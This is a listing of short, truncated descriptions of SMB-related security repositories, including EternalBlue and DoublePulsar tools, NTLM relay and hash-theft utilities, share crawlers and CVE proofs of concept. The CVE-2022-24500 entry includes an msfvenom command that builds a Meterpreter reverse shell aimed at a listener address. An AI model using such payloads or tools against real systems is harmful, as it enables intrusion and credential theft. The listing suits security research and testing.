impacket

Impacket Copyright Fortra, LLC and its affiliated companies. All rights reserved. Impacket was originally created by SecureAuth, and now maintained by Fortra's Core Security. Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level...

PortForwarder

Windows TCP Port Forwarder A high-performance TCP port forwarder for Windows with optional IP whitelisting and verbose logging capabilities. Features ✅ Forward TCP traffic from a local port to any remote host:port ✅ Optional IP whitelisting for enhanced security ✅ Port 445 / SMB takeover mode...

EternalBlueC

EternalBlueC EternalBlue suite remade in C/C++ which includes: MS17-010 Exploit Contains DoublePulsar EternalBlue/MS17-010 vulnerability detector DoublePulsar detector DoublePulsar Upload DLL Doublepulsar Upload Shellcode DoublePulsar Upload DLL with SMB Structure Doublepulsar Upload Shellcode wi...

doublepulsar-detection-script

Author: Luke Jennings [email protected] - @jukelennings Company: Countercept @countercept Website: https://countercept.com A set of python2 scripts for sweeping a list of IPs for the presence of both SMB and RDP versions of the DOUBLEPULSAR implant that was released by the Shadow Brokers...

NtlmRelayToEWS

ntlmRelayToEWS Author: Arno0x0x - @Arno0x0x ntlmRelayToEWS is a tool for performing ntlm relay attacks on Exchange Web Services EWS. It spawns an SMBListener on port 445 and an HTTPListener on port 80, waiting for incoming connection from the victim. Once the victim connects to one of the...

ntlm_theft

ntlmtheft A tool for generating multiple types of NTLMv2 hash theft files. ntlmtheft is an Open Source Python3 Tool that generates 21 different types of hash theft documents. These can be used for phishing when either the target allows smb traffic outside their network, or if you are already insi...

SMBCrunch

SMBCrunch One of the most time consuming tasks as a red teamer is diving into filesystems and shares, attempting to identify any potentially sensitive information. SMBCrunch allows a red teamer to quickly identify Windows File Shares in a network, performs a recursive directory listing of the...

ntlm-scanner

New! Exploit Scan for CVE-2020-1472 ZeroLogon Scan DCs in your network to detect actual exploitation of CVE-2020-1472 Examples: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target Tool works by trying an empty password for DCs every minute. Since...

impacket

Impacket Copyright Fortra, LLC and its affiliated companies. All rights reserved. Impacket was originally created by SecureAuth, and now maintained by Fortra's Core Security. Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level...

jackdaw

jackdaw gather gather gather What is this? Jackdaw is here to collect all information in your domain, store it in a SQL database and show you nice graphs on how your domain objects interact with each-other an how a potential attacker may exploit these interactions. It also comes with a handy...

nullinux

nullinux Nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB. If no username and password are provided in the command line arguments, an anonymous login, or null session, is...

Invoke-LinkSpray

Invoke-LinkSpray Powershell script to create malicious SMB or WebDAV links to steal NTLM authentication. Takes UNC or local folder paths from a file specified by the -ShareList parameter. Optionally, -Depth can be used to specify how many folders to recurse when creating URL files. Also supports ...

smbeagle

/ \ / // / / / // / / / / / ///\ / / / / / / / / / / / / / / // / / / / , / / / // // / / / / // // / // ,// ///||////,// ///, / PRESENTS // SMBeagle SMBeagle is a cross-platform SMB fileshare auditing tool that hunts out all files it can see in the network and reports if the file can be...

eaphammer

by Gabriel Ryan s0lst1c3 Current release: v1.14.1 Supports Python 3.9+. Overview EAPHammer is a toolkit for performing targeted evil twin attacks against WPA2-Enterprise networks. It is designed to be used in full scope wireless assessments and red team engagements. As such, focus is placed on...

CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin step 2 msf5...

smbcrawler

SmbCrawler SmbCrawler is no-nonsense tool that takes credentials and a list of hosts and 'crawls' or 'spiders' through those shares. Features: takes host names, IP addresses, IP ranges, or an nmap xml file as input checks permissions check for 'write' permissions is opt-in, because it requires...

KrbRelay

KrbRelay Relaying 3-headed dogs. More details at https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html and https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html This should be working on most fully patched Windows systems...

MANSPIDER

MANSPIDER Crawl SMB shares for juicy information. File content searching + regex is supported! What's New in v2.0 Manspider 2.0 is here! This brings significant improvements: New and improved text extraction powered by Kreuzberg - now supporting PDF, DOCX, XLSX, PPTX, images with OCR, and many...

CVE-2025-24071_PoC

CVE-2025-24071PoC CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File Windows Explorer automatically initiates an SMB authentication request when a .library-ms file is extracted from a .rar archive, leading to NTLM hash disclosure. The user does not need to open or execute...

goshs

You're mid-engagement. You need to transfer a file, catch an SMB hash, or stand up a quick HTTPS server — and python3 -m http.server won't cut it. goshs is a single-binary file server built for the moments when you need more than Python's SimpleHTTPServer but don't want to configure Apache. HTTP/...